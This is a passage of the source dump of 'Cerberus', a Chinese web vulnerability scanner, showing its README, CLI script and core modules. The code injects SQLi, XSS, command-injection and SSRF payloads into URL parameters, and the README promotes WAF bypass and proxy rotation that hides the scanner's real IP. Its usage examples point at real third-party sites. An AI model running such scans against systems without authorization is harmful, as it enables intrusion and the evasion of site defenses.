├── .idea
├── $CACHE_FILE$
├── $PRODUCT_WORKSPACE_FILE$
├── .gitignore
├── .name
├── Cerberus.iml
├── dictionaries
├── inspectionProfiles
│ └── profiles_settings.xml
├── misc.xml
└── modules.xml
├── README.md
├── cerberus.py
├── core
├── Quicksilver.py
├── __init__.py
├── assault_pre.py
├── auxiliary.py
├── banner.py
├── colors.py
├── filter.py
├── log.py
├── middleware.py
├── proxies.py
├── regex.py
├── requester.py
└── subdomain.py
├── data
├── DNSPod.txt
├── __init__.py
├── config.py
├── payloads.py
├── subdomain_s.txt
├── subnames_full.txt
└── waf_signature
├── images
├── black_knight.jpg
└── praise.jpg
├── requirements.txt
└── strike
├── Poc
├── __init__.py
└── poc_Attack.py
├── __init__.py
├── attack.py
└── detect_waf.py
/.idea/$CACHE_FILE$:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | Angular
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/.idea/$PRODUCT_WORKSPACE_FILE$:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /workspace.xml
--------------------------------------------------------------------------------
/.idea/.name:
--------------------------------------------------------------------------------
1 | Cerberus
--------------------------------------------------------------------------------
/.idea/Cerberus.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/dictionaries:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Cerberus
2 |
3 | 一款功能强大的漏洞扫描器,子域名爆破使用aioDNS,asyncio异步快速扫描,覆盖目标全方位资产进行批量漏洞扫描,中间件信息收集,自动收集ip代理,探测Waf信息时自动使用来保护本机真实Ip,在本机Ip被Waf杀死后,自动切换代理Ip进行扫描,Waf信息收集(国内外100+款waf信息)包括安全狗,云锁,阿里云,云盾,腾讯云等,提供部分已知waf bypass 方案,中间件漏洞检测(Thinkphp,weblogic等 CVE-2018-5955,CVE-2018-12613,CVE-2018-11759等),支持SQL注入, XSS, 命令执行,文件包含, ssrf 漏洞扫描, 支持自定义漏洞邮箱推送功能
4 |
5 | [](https://asciinema.org/a/289717)
6 |
7 |
8 | ## 主要功能
9 |
10 | - :smiling_imp:单url漏洞扫描
11 |
12 | 支持SQL注入, XSS, 命令执行,文件包含, ssrf
13 |
14 | 进行单站点漏洞扫描
15 |
16 | `python3 cerberus.py -target www.qq.com`
17 |
18 | [](https://asciinema.org/a/6fOJu4DkVhMGutLeIGmwE7Ppi)
19 |
20 | - :cherry_blossom: 线程设置
21 |
22 | 多线程,默认7线程
23 |
24 | `python3 cerberus.py -target www.qq.com -thread 7`
25 |
26 |
27 | - :imp:子域名异步批量扫描
28 |
29 | 使用aioDNS,asyncio异步,子域名爆破后,加入扫描队列,覆盖目标全方位资产进行批量漏洞扫描
30 |
31 | `python3 cerberus.py -target www.qq.com -subdomain`
32 |
33 | [](https://asciinema.org/a/n8zwz58eOkqH8JNZAi85opa61)
34 |
35 |
36 | - :skull: 代理IP收集
37 |
38 | 爬取了9个站点的实时免费代理IP,但IP存活率较低,大概在20%左右,检测IP是否存活的过程中可能会阻塞扫描过程。
39 |
40 | - www.data5u.com
41 | - www.xicidaili.com
42 | - www.goubanjia.com
43 | - www.ip3366.net
44 | - www.iphai.com
45 | - cn-proxy.com
46 | - ip.jiangxianli.com
47 | - www.xiladaili.com
48 | - ip.ihuan.me
49 |
50 | `python3 cerberus.py -target www.qq.com -proxy`
51 |
52 | [](https://asciinema.org/a/p4A6ZhN5kCKIzlXZbdApltgNe)
53 |
54 | - :japanese_ogre:Waf信息收集
55 |
56 | 国内外100+款waf信息,强大的指纹库,包括安全狗,云锁,阿里云,云盾,腾讯云等,提供部分已知waf bypass 方案
57 |
58 | 请务必提供带有参数的URL进行WAF测试!
59 |
60 | `python3 cerberus.py -target https://open.weixin.qq.com/frame?t=home/web_tmpl&lang=zh_CN -waf`
61 |
62 | - :see_no_evil:中间件信息收集
63 |
64 | 信息收集完毕后,根据获取结果,自动进行中间件漏洞扫描
65 |
66 | - WAF
67 |
68 | - CDN
69 |
70 | - CMS
71 |
72 | - Web Servers
73 |
74 | - Web Frameworks
75 |
76 | - Operating Systems
77 |
78 | `python3 cerberus.py -target -detectMid`
79 |
80 | [](https://asciinema.org/a/mQ6qLc98J87Srpf7nGq8MakdP)
81 |
82 | - :panda_face: 指定中间件漏洞扫描
83 |
84 | 如果已知目标部分中间件信息,可以指定类型,直接进行扫描
85 |
86 | - Thinkphp CVE-2018-5955
87 |
88 | - Phpmyadmain CVE-2018-12613
89 |
90 | - Dedecms
91 |
92 | - Tomcat CVE-2018-11759
93 |
94 | - Weblogic
95 |
96 | - Wordpress
97 |
98 | `python3 cerberus.py -target www.qq.com -midlleware weblogic`
99 |
100 |
101 |
102 | - :trollface: 输入文件批量扫描
103 |
104 | - 文件路径需为绝对路径
105 |
106 | - 需为txt文本格式,确保每一行只有一个域名
107 |
108 | `python3 cerberus.py -file absolute path`
109 |
110 | - :cookie: 设置Cookie
111 |
112 | `python3 cerberus.py -cookie cookie`
113 |
114 | - :speak_no_evil: 输出漏洞扫描报告
115 |
116 | `python3 cerberus.py -outfile`
117 |
118 |
119 |
120 | ## :rabbit: Praise me!
121 |
122 | - :kissing_cat: 如果您认为本项目对您有一定帮助,为了更好的开源安全工具!请赞赏我!感谢您的赞赏!
123 |
124 | 
125 |
126 | ## 声明
127 |
128 | 本项目仅供学习交流,使用本工具所造成的任何违法后果,与本人无关!!
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
--------------------------------------------------------------------------------
/cerberus.py:
--------------------------------------------------------------------------------
1 | import time
2 | import argparse
3 | from core.banner import show_banner
4 |
5 |
6 |
7 | show_banner()
8 |
9 | time = time.strftime('%H:%M:%S')
10 |
11 | parser = argparse.ArgumentParser()
12 |
13 | parser.add_argument('-target', nargs='+', dest='target')
14 | parser.add_argument('-thread', nargs='?', default=7, type=int, dest='thread')
15 | parser.add_argument('-proxy', dest='proxy',action="store_true")
16 | parser.add_argument('-waf',dest='waf',action="store_true")
17 | parser.add_argument('-outfile',nargs='?',dest='outfile')
18 | parser.add_argument('-mail', nargs='?', dest='mail')
19 | parser.add_argument('-cookie',nargs='?',dest='cookie')
20 | parser.add_argument('-subdomains',dest='subdomains',action = "store_true")
21 | parser.add_argument('-file', nargs='?', dest='file')
22 | parser.add_argument('-detectMid', dest='detectmid', action='store_true')
23 | parser.add_argument('-middleware', nargs='?', dest='middleware')
24 | parser.add_argument("--account", nargs = '?',dest = 'account')
25 | parser.add_argument("--password", nargs = '?', dest = 'password')
26 |
27 |
28 |
29 | args = parser.parse_args()
30 |
31 |
32 | mail = args.mail
33 | waf = args.waf
34 | file = args.file
35 | target = args.target
36 | cookie = args.cookie
37 | detectmid = args.detectmid
38 | middleware = args.middleware
39 | subdomains = args.subdomains
40 | proxy = args.proxy or None
41 | threads = args.thread or 7
42 | outfile = args.outfile
43 | account = args.account
44 | password = args.password
45 |
46 |
47 |
48 | from core.proxies import Proxy
49 | from strike.attack import Attack
50 | from core.colors import red,green,end
51 | from core.subdomain import subdomain
52 | from core.middleware import detect_info
53 | from strike.detect_waf import check_waf
54 | from core.Quicksilver import quicksliver
55 | from strike.Poc.poc_Attack import middleware_vulne
56 | from core.auxiliary import convert_target,get_proxy,load_queue
57 |
58 |
59 |
60 | file_= None
61 | subdomain_queue = None
62 | cookies = None
63 | proxy_queue = None
64 |
65 | if file:
66 | file_= str(file)
67 |
68 | if cookie:
69 | cookies = cookies
70 |
71 |
72 | if target:
73 | target = convert_target(target[0])
74 |
75 |
76 |
77 | logger_type = "FileLogger" if outfile else "StreamLogger"
78 |
79 |
80 | if mail:
81 | logger_type = "STMPLogger"
82 | if account and password:
83 | account = account
84 | password = password
85 | else:
86 | print(f"{green}[!]{time} Need to provide account and password to login STMP email server{end}")
87 | quit()
88 |
89 |
90 | if subdomains:
91 | sub = subdomain(target, file = "DNSPod.txt", logger_type = logger_type)
92 | subdomain_set = sub.execution()
93 | subdomain_queue = load_queue(subdomain_set)
94 |
95 |
96 |
97 | if detectmid:
98 | middleware_info = detect_info(target,logger_type)
99 | middleware_vulne(url=target,logger_type = logger_type,middleware_info=middleware_info)
100 |
101 |
102 | if middleware:
103 | vulne = middleware_vulne(target,logger_type,middleware_type = middleware)
104 | vulne.analyse()
105 |
106 |
107 | if proxy:
108 | proxies = Proxy(target,logger_type)
109 | proxy_queue = proxies.executor()
110 |
111 |
112 |
113 | if waf:
114 | if proxy:
115 | proxy = get_proxy(proxy_queue)
116 | check_waf(target, logger_type, proxy = proxy)
117 | else:
118 | check_waf(target, logger_type)
119 |
120 |
121 |
122 | module_attack = Attack(target,logger_type,cookie = cookies, subdomain_queue = subdomain_queue,proxy_queue = proxy_queue,file = file_)
123 | execution = module_attack.execution
124 | quicksliver(execution,threads)
125 | print(f"{red}[!!][{time}] Vulnerability scan has finished !{end}")
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
--------------------------------------------------------------------------------
/core/Quicksilver.py:
--------------------------------------------------------------------------------
1 | from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor, as_completed
2 |
3 |
4 |
5 | def quicksliver(func,number_process):
6 | """fixed a big bug on 12.24 Merry Christmas"""
7 |
8 | with ThreadPoolExecutor(max_workers = number_process) as executor:
9 | futures = [executor.submit(func) for count in range(number_process)]
10 |
11 |
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/YagamiiLight/Cerberus/7933d801b9a490e84bf38f5d8369d8395e350e39/core/__init__.py
--------------------------------------------------------------------------------
/core/assault_pre.py:
--------------------------------------------------------------------------------
1 | import queue
2 | from data.payloads import Sql_injection,XSS,file_inclusion,command_injection,ssrf
3 |
4 |
5 | class assault_pre:
6 |
7 | def __init__(self):
8 | self.SQLi = queue.Queue()
9 | self.XSS = queue.Queue()
10 | self.file_inclusion = queue.Queue()
11 | self.command_injection = queue.Queue()
12 | self.ssrf = queue.Queue()
13 | self.payload_category = dict()
14 |
15 | def payload_provide(self):
16 | for payload_list in Sql_injection.values():
17 | for payload in payload_list:
18 | self.SQLi.put(payload)
19 |
20 | for payload in XSS:
21 | self.XSS.put(payload)
22 |
23 | for payload in file_inclusion:
24 | self.file_inclusion.put(payload)
25 |
26 | for payload in command_injection:
27 | self.command_injection.put(payload)
28 |
29 | for payload in ssrf:
30 | self.ssrf.put(payload)
31 |
32 |
33 | def get_SQLipayload(self):
34 | if not self.SQLi.empty():
35 | return self.SQLi.get()
36 | return None
37 |
38 | def get_XSSpayload(self):
39 | if not self.XSS.empty():
40 | return self.XSS.get()
41 | return None
42 |
43 | def get_fileInclusion(self):
44 | if not self.file_inclusion.empty():
45 | return self.file_inclusion.get()
46 | return None
47 |
48 | def get_commandInjection(self):
49 | if not self.command_injection.empty():
50 | return self.command_injection.get()
51 | return None
52 |
53 | def get_ssrf(self):
54 | if not self.ssrf.empty():
55 | return self.ssrf.get()
56 | return None
57 |
58 |
59 |
60 | def get_payload_category(self):
61 |
62 | self.payload_category = {"SQLi" : (self.get_SQLipayload,self.SQLi),
63 | "XSS" : (self.get_XSSpayload,self.XSS),
64 | "file_inclusion" : (self.get_fileInclusion,self.file_inclusion),
65 | "command_injection" : (self.get_commandInjection,self.command_injection),
66 | "ssrf" : (self.get_ssrf,self.ssrf)
67 | }
68 |
69 | return self.payload_category
70 |
71 |
72 |
--------------------------------------------------------------------------------
/core/auxiliary.py:
--------------------------------------------------------------------------------
1 | import re
2 | import queue
3 | from difflib import SequenceMatcher
4 | from core.requester import requester
5 | from core.colors import red,green,end
6 | from core.log import factory_logger,time
7 | from urllib3.exceptions import ConnectTimeoutError
8 |
9 |
10 |
11 |
12 | def chambering(url,strike,payload = None,type = None):
13 |
14 | if "=" in url and "?" in url:
15 | data = url.split("?")[1].split("&")
16 | params_extractor = tuple((i.split('=')[0],i.split('=')[1]) for i in data)
17 | params = {i:j for i, j in params_extractor}
18 | url = url.split('?')[0]
19 |
20 | if strike and payload != None:
21 | if type == "SQLi":
22 | incursive = {key: "".join([params[key], payload]) for key in params.keys()}
23 |
24 | if type in ["XSS","file_inclusion","command_injection","ssrf"]:
25 | incursive = {key: payload for key in params.keys()}
26 | return (url,incursive)
27 |
28 | else:
29 | return (url,params)
30 | else:
31 | return (url,None)
32 |
33 |
34 | def receive_check(original,payloaded,type,payload = None):
35 | lower_limit = 0.95
36 |
37 | if type == "SQLi" or type == "file_inclusion" or type == "command_injection":
38 | sequenceMatcher = SequenceMatcher(None)
39 | sequenceMatcher.set_seq1(original)
40 | sequenceMatcher.set_seq2(payloaded)
41 | ratio = sequenceMatcher.quick_ratio()
42 | if ratio < lower_limit:
43 | return True
44 | else:
45 | return False
46 |
47 | elif type == "XSS":
48 |
49 | if re.search(payload,payloaded,re.I):
50 | return True
51 | else:
52 | return False
53 |
54 |
55 | def check_live(proxy):
56 | check_ip = "http://httpbin.org/ip"
57 | ip = proxy[0] + ":" + proxy[1]
58 | try:
59 | response = requester(check_ip, data=None, timeout=3, GET=True, proxy=ip)
60 | if not response is None:
61 | if proxy[0] in response.text:
62 | return True
63 | return False
64 | return False
65 | except ConnectTimeoutError:
66 | return False
67 |
68 |
69 | def get_proxy(proxy_queue):
70 | proxy = proxy_queue.get()
71 | while not proxy_queue.empty():
72 |
73 | if check_live(proxy):
74 | print(f"{red}[!][{time}]{proxy[0]} is alive and testing with it !{end}")
75 | return proxy[0]
76 | else:
77 | print(f"{green}[!][{time}]{proxy[0]} is dead !{end}")
78 | proxy = proxy_queue.get()
79 | print(f"{red}[!][{time}] No more No available proxy{end}")
80 | return None
81 |
82 |
83 |
84 | def vul_message(vul,url,payload):
85 |
86 | message = {
87 | "SQLi" : "SQL injection vulnerability has already been detected",
88 | "file_inclusion" : "File Inclusion vulnerability has already been detected",
89 | "command_injection" : "Command Injection vulnerability has already been detected",
90 | "ssrf" : "SSRF vulnerability has already been detected"
91 | }
92 |
93 | message_box = f"-------------------------------------------\n" \
94 | f"url : {url}\n"\
95 | f"payload : {payload}\n" \
96 | f"{message[vul]}\n" \
97 | f"--------------------------------------------\n"
98 |
99 | return message_box
100 |
101 |
102 |
103 | def convert_target(url):
104 | if url.lower().startswith("http"):
105 | return url
106 | elif url.lower().startswith("/"):
107 | return "http:/" + url
108 | else:
109 | return "http://"+url
110 |
111 |
112 |
113 | def extract_domain(target):
114 | if not target is None:
115 | if isinstance(target, list):
116 | domain = target[0].split(".")[1]
117 | return domain
118 | domain = target.split(".")[1]
119 | return domain
120 | return None
121 |
122 |
123 |
124 | def file_handler(file):
125 | domains = queue.Queue()
126 | with open(file,'r',buffering=1024) as handler:
127 | for i in handler:
128 | url = convert_target(i)
129 | domains.put(url)
130 | return domains
131 |
132 |
133 | def error_check(page):
134 | if re.search("404",page):
135 | return False
136 | return True
137 |
138 |
139 | def load_queue(subdomain):
140 | subdomain_queue = queue.Queue()
141 | for i in subdomain:
142 | url = "http://"+i
143 | subdomain_queue.put(url)
144 | return subdomain_queue
145 |
146 |
147 | if __name__ == '__main__':
148 | # chambering(url, strike, payload=None, type=None):
149 | url = "https://plus.jd.com/indexf?low_system=appicon&flow_entrance=appicon11&flow_channel=pc"
150 | chambering(url,strike=False)
151 |
--------------------------------------------------------------------------------
/core/banner.py:
--------------------------------------------------------------------------------
1 | import time
2 | from core.colors import red,purple,blue,blue_green,end,green,blue_green_banner,red_banner
3 | from concurrent.futures import ThreadPoolExecutor
4 | time = time.strftime('%H:%M:%S')
5 |
6 | def show_banner():
7 | banner = f"""{blue_green}
8 | ▄████▄ ▓█████ ██▀███ ▄▄▄▄ ▓█████ ██▀███ █ ████████
9 | ▒██▀ ▀█ ▓█ ▀ ▓██ ▒ ██▒▓█████▄ ▓█ ▀ ▓██ ▒ ██▒ ██ ▓██▒▒██ ▒
10 | ▒▓█ ▄ ▒███ ▓██ ░▄█ ▒▒██▒ ▄██▒███ ▓██ ░▄█ ▒▓██ ▒██░░ ▓██▄
11 | ▒▓▓▄ ▄██▒▒▓█ ▄ ▒██▀▀█▄ ▒██░█▀ ▒▓█ ▄ ▒██▀▀█▄ ▓▓█ ░██░ ▒ ██▒
12 | ▒ ▓███▀ ░░▒████▒░██▓ ▒██▒░▓█ ▀█▓░▒████▒░██▓ ▒██▒▒▒█████▓ ▒██████▒▒ {end}
13 | ░ ░▒ ▒ ░░░ ▒░ ░░ ▒▓ ░▒▓░░▒▓███▀▒░░ ▒░ ░░ ▒▓ ░▒▓░░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░
14 | {red_banner}░{end} ▒ ░ ░ {green}░{end} ░▒ ░ {green}▒░▒░▒{end} ░ ░ ░ ░ {red_banner}░▒{end} ░ ▒░░░▒░ ░ ░ {red_banner}░{end} ░▒ ░ ░
15 | ░ ░ ░░ ░ ░ ░ ░ ░░ ░ {green}░░░ ░ ░{end} ░ ░ ░
16 | ░ ░ ░ ░ {red_banner}░ ░{end} ░ ░ ░ ░ ░
17 | {red_banner}░{end}░
18 |
19 | {green}[{time}]{end} {purple}Cerberus v1.0{end}
20 | """
21 | print(banner)
22 |
23 |
24 |
25 | if __name__ == '__main__':
26 | show_banner()
--------------------------------------------------------------------------------
/core/colors.py:
--------------------------------------------------------------------------------
1 | from sys import platform
2 |
3 | if platform.startswith('win32'):
4 | red = purple = blue_green = blue_green_banner = red_banner = blue = green = end = ''
5 |
6 | else:
7 |
8 | red = '\033[25;31m'
9 | purple = '\033[25;35m'
10 | blue_green = '\033[25;36m'
11 | blue_green_banner = '\033[5;36m'
12 | red_banner = '\033[5;31m'
13 | blue = '\033[25;34m'
14 | green = '\033[25;32m'
15 |
16 | end = '\033[0m'
17 |
18 | """
19 | blue_green[+]
20 | red [!]
21 | purple [*]
22 | green [~]
23 | blue [#]
24 | """
25 |
26 |
--------------------------------------------------------------------------------
/core/filter.py:
--------------------------------------------------------------------------------
1 | import queue
2 | import hashlib
3 | from collections import Iterable
4 | from core.log import time,factory_logger
5 | from core.colors import green,end,purple
6 | from core.auxiliary import convert_target
7 | from core.regex import FILE_TYPE,URL_PATH
8 |
9 |
10 | class Filter:
11 |
12 | def __init__(self,data,type,container):
13 | self.data = data
14 | self.type = type
15 | # self.md5 = hashlib.md5()
16 | self.contain_md5 = set()
17 | self.contain_target = queue.Queue()
18 | self.container = container
19 |
20 |
21 |
22 | @classmethod
23 | def filter(self,item,container):
24 | if FILE_TYPE.search(item) is None:
25 | md5 = hashlib.md5()
26 | md5.update(item.encode('utf-8'))
27 | if md5.hexdigest() not in container:
28 | container.add(md5.hexdigest())
29 | return True
30 | return False
31 | return False
32 |
33 |
34 | # @staticmethod
35 | def extractor(self,logger_type,target):
36 | try:
37 | if isinstance(self.data,Iterable):
38 | for items in self.data:
39 | item = items.group()
40 |
41 | if self.type == "proxy":
42 | if self.filter(item,self.container):
43 | self.contain_target.put(item)
44 |
45 | elif self.type == "url":
46 | filted_url = URL_PATH.sub("=",item)
47 | if self.filter(filted_url,self.container):
48 | url = convert_target(item)
49 | # # url = "http:/"+item
50 | # logger = factory_logger(logger_type,target,"url")
51 | # logger.info(url)
52 | print(f"{purple}[~][{time}] Collecting a target for testing : {url}{end}")
53 | self.contain_target.put(url)
54 | return self.contain_target
55 | except Exception as e:
56 | return e
57 |
58 |
--------------------------------------------------------------------------------
/core/log.py:
--------------------------------------------------------------------------------
1 | import time
2 | import logging
3 | import logging.config
4 | from core.colors import blue_green,purple,red,green,blue,end
5 |
6 |
7 | time = time.strftime('%Y-%m-%d %H:%M:%S')
8 |
9 |
10 | def factory_logger(logger_type, target, formatter):
11 |
12 | if logger_type in ["StreamLogger", "STMPLogger"]:
13 | config = {
14 | 'version': 1,
15 | 'disable_existing_loggers': False,
16 |
17 | 'formatters': {
18 |
19 | 'url' : {
20 | 'format' : f'{green}[~][{time}] Collecting a target for testing : %(message)s{end}'
21 | },
22 |
23 |
24 | 'subdomain' : {
25 | 'format' : f'{blue_green}[+][{time}] Collecting a subdomain : %(message)s{end}',
26 | },
27 |
28 | 'subdomain_count' : {
29 | 'format' : f'{blue_green}[!][{time}] A total of %(message)s subdomains have been collected !{end}'
30 | },
31 |
32 | 'proxy_generator' : {
33 | 'format' : f'{green}[*][{time}] Collecting a proxy : %(message)s{end}'
34 | },
35 |
36 | 'middleware' : {
37 | 'format' : f'{blue}[#][{time}] [~]Middleware Information :\n[~]%(message)s{end}'
38 | },
39 |
40 | 'Waf' : {
41 | 'format' : f'{green}[!]{time} [!] Waf Information :\n[!]%(message)s{end}'
42 | },
43 |
44 | "poc" : {
45 | 'format' : f'{red}[!]------------------------------------------------------\n'
46 | f'[!][{time}] Middleware vulnerability found !!\n%(message)s\n'
47 | f'[!]------------------------------------------------------{end}'
48 | },
49 |
50 | 'poc not found' : {
51 | 'format': f'{green}[!][{time}] Middleware vulnerability not found !\n[!][{time}] %(message)s\n{end}'
52 | },
53 |
54 | 'vulnerable' : {
55 | 'format' : f'{red}[!][{time}] %(message)s{end}'
56 | }
57 |
58 | },
59 |
60 |
61 | 'handlers': {
62 |
63 | 'console': {
64 | 'class': 'logging.StreamHandler',
65 | 'level': 'DEBUG',
66 | 'formatter': f'{formatter}',
67 | },
68 |
69 | # 'vulnerable' : {
70 | # 'class' : 'lo'
71 | # },
72 |
73 | # 'stmp' : {
74 | # 'class' : 'logging.handlers.SMTPHandler',
75 | # 'level' : 'CRITICAL',
76 | # 'formatter' : 'vulnerable',
77 | # 'mailhost' : 'smtp.qq.com',
78 | # 'fromaddr' : '',
79 | # 'toaddrs' : '',
80 | # 'subject' : 'Cerberus found a vulranebility !',
81 | # 'credentials' : '()'
82 | #
83 | # }
84 |
85 | },
86 |
87 | 'loggers':{
88 |
89 | 'StreamLogger' : {
90 | 'handlers': ['console'],
91 | 'level': 'DEBUG',
92 | },
93 |
94 | # 'STMPLogger' : {
95 | #
96 | # 'handlers': ['console','stmp'],
97 | # 'level': 'DEBUG',
98 | #
99 | # }
100 |
101 | }
102 | }
103 |
104 | logging.config.dictConfig(config)
105 |
106 | elif logger_type == "FileLogger":
107 | config_file = {
108 | 'version': 1,
109 | 'disable_existing_loggers': False,
110 |
111 | 'formatters': {
112 |
113 | 'url': {
114 | 'format': f'{green}[~][{time}] Collecting a target for testing : %(message)s{end}'
115 | },
116 |
117 | 'subdomain': {
118 | 'format': f'{blue_green}[+][{time}] Collecting a subdomain : %(message)s{end}',
119 | },
120 |
121 | 'subdomain_count': {
122 | 'format': f'{blue_green}[!][{time}] A total of %(message)s subdomains have been collected !{end}'
123 | },
124 |
125 | 'proxy_generator': {
126 | 'format': f'{green}[*][{time}] Collecting a proxy : %(message)s{end}'
127 | },
128 |
129 | 'middleware': {
130 | 'format': f'{blue}[#][{time}] [~]Middleware Information :\n[~]%(message)s{end}'
131 | },
132 |
133 | 'Waf': {
134 | 'format': f'{green}[!]{time} [!] Waf Information :\n[!]%(message)s{end}'
135 | },
136 |
137 | "poc": {
138 | 'format': f'{red}[!]------------------------------------------------------\n'
139 | f'[!][{time}] Middleware vulnerability found !!\n%(message)s\n'
140 | f'[!]------------------------------------------------------{end}'
141 | },
142 |
143 | 'poc not found': {
144 | 'format': f'{green}[!][{time}] Middleware vulnerability not found !\n[!][{time}] %(message)s\n{end}'
145 | },
146 |
147 | 'vulnerable': {
148 | 'format': f'{red}[!][{time}] %(message)s{end}'
149 | }
150 |
151 | },
152 |
153 | 'handlers': {
154 |
155 | 'console': {
156 | 'class': 'logging.StreamHandler',
157 |
158 | 'level': 'DEBUG',
159 | 'formatter': f'{formatter}',
160 | },
161 |
162 | 'file': {
163 | "class": "logging.FileHandler",
164 | 'level': 'DEBUG',
165 | 'formatter': f'{formatter}',
166 | 'filename': f'{time}_{target}_.txt',
167 | 'mode': 'a',
168 | },
169 |
170 | # 'stmp': {
171 | # 'class': 'logging.handlers.SMTPHandler',
172 | # 'level': 'CRITICAL',
173 | # 'formatter': 'vulnerable',
174 | # 'mailhost': 'localhost',
175 | # 'fromaddr': '',
176 | # 'toaddrs': '',
177 | # 'subject': 'Cerberus found a vulranebility !',
178 | # 'credentials': '()'
179 | #
180 | # }
181 |
182 | },
183 |
184 | 'loggers': {
185 | 'FileLogger' : {
186 |
187 | 'handlers': ['console','file'],
188 | 'level': 'DEBUG',
189 | },
190 |
191 | 'STMPLogger': {
192 |
193 | 'handlers': ['console','stmp'],
194 |
195 | 'level': 'DEBUG',
196 |
197 | }
198 |
199 | }
200 | }
201 | logging.config.dictConfig(config_file)
202 |
203 | return logging.getLogger(logger_type)
204 |
205 |
--------------------------------------------------------------------------------
/core/middleware.py:
--------------------------------------------------------------------------------
1 | import zlib
2 | import json
3 | import requests
4 | from core.requester import requester
5 | from core.auxiliary import chambering
6 | from core.log import factory_logger,time
7 | from core.colors import red,end
8 |
9 |
10 |
11 | def detect_info(target,logger_type):
12 |
13 | logger_middle = factory_logger(logger_type, target, "middleware")
14 | print(f"{red}[!][{time}] Collecting middleware information....{end}")
15 |
16 | info = {
17 |
18 | 'Waf': None,
19 | 'CDN' : None,
20 | 'CMS' : None,
21 | 'Web Servers': None,
22 | 'Web Frameworks': None,
23 | 'Operating Systems' : None,
24 | 'JavaScript Frameworks': None,
25 | 'Programming Languages': None
26 |
27 | }
28 |
29 | keys = [
30 | 'Waf','CDN','Web Servers',
31 | 'Web Frameworks','Operating Systems',
32 | 'JavaScript Frameworks',
33 | 'Programming Languages'
34 | ]
35 |
36 |
37 | url, data = chambering(target, strike = False)
38 |
39 | try:
40 | response = requester(url, data, GET = True)
41 | whatweb_dict = {"url": response.url, "text": response.text, "headers": dict(response.headers)}
42 | whatweb_dict = json.dumps(whatweb_dict)
43 | whatweb_dict = whatweb_dict.encode()
44 | whatweb_dict = zlib.compress(whatweb_dict)
45 | data = {"info": whatweb_dict}
46 |
47 | result = requests.post("http://whatweb.bugscaner.com/api.go", files = data)
48 | data_json = result.json()
49 | data = dict(data_json)
50 |
51 |
52 | except Exception:
53 | pass
54 |
55 |
56 | if 'error' not in data:
57 | for key in keys:
58 | if key in dict(data):
59 | info[key] = data[key]
60 | logger_middle.info(info)
61 | return info
62 |
63 |
64 | else :
65 |
66 | info.clear()
67 | info['message'] = "Error Message!"
68 | logger_middle.info(info)
69 |
70 | # return info
71 |
72 |
73 | if __name__ == '__main__':
74 | # logger = factory_logger
75 | logger_type= "StreamLogger"
76 | # target = "qq"
77 |
78 | url = "http://www.zctt.com"
79 | u = "http://www.baidu.com"
80 | detect_info(url,logger_type)
81 |
82 |
83 |
84 |
--------------------------------------------------------------------------------
/core/proxies.py:
--------------------------------------------------------------------------------
1 | import queue
2 | from core import regex
3 | from core.filter import Filter
4 | from core.log import factory_logger
5 | from core.requester import requester
6 | from data.config import origin_proxies
7 | from core.auxiliary import chambering
8 | from urllib3.exceptions import ConnectTimeoutError
9 |
10 |
11 | class Proxy:
12 | def __init__(self,target,logger_type):
13 |
14 | self.filter_proxy = set()
15 | self.container = queue.Queue()
16 | # self.logger = factory_logger("StreamLogger","qq.com","proxy_generator")
17 | self.logger = factory_logger(logger_type, target, "proxy_generator")
18 | # self.filter_proxy = Filter()
19 |
20 | self.dic = {
21 | 'data5u' : regex.data5u,
22 | 'xicidaili' : regex.xicidaili,
23 | 'iphai' : regex.iphai,
24 | 'xiladaili' : regex.xiladaili,
25 | 'ip3366' : regex.ip3366,
26 | 'ip_jiangxianli' : regex.jiangxianli,
27 | 'ip_huan' : regex.ip_huan
28 | }
29 |
30 | self.list_name = ['data5u', 'xicidaili', 'iphai']
31 | # self.expansion = ['xiladaili']
32 | # self.count = 0
33 |
34 | def generator_proxies(self):
35 |
36 | for name in self.list_name:
37 | if name in self.dic:
38 | url,params = chambering(origin_proxies[name],strike=False)
39 | result = requester(url,params,GET=True,timeout=None)
40 | response = regex.Espace_eliminate.sub("",result.text)
41 | ips, ports, types = self.dic[name]['ip'].finditer(response),\
42 | self.dic[name]['port'].finditer(response),\
43 | self.dic[name]['type'].finditer(response)
44 |
45 | for i, j, k in zip(ips,ports,types):
46 |
47 | ip = self.dic[name]['sub'].sub(" ", i.group())
48 | port = self.dic[name]['sub'].sub(" ", j.group())
49 | type = self.dic[name]['sub'].sub(" ", k.group())
50 |
51 | # self.count = self.count+1
52 |
53 | # print((ip, port, type))
54 |
55 | if Filter.filter(ip,self.filter_proxy):
56 | proxy = eval(regex.Espace_eliminate.sub("", str((ip, port, type.lower()))))
57 | self.logger.info(f"ip : {proxy[0]} port : {proxy[1]} type : {proxy[2]}")
58 | self.container.put(proxy)
59 |
60 |
61 |
62 | def proxy_xiladaili(self):
63 | url, params = chambering("http://www.xiladaili.com", strike=False)
64 | result = requester(url,params,GET=True,timeout=None)
65 | text = regex.Espace_eliminate.sub("",result.text)
66 | proxy_ips,proxy_types = self.dic['xiladaili']['ip'].finditer(text),\
67 | self.dic['xiladaili']['type'].finditer(text)
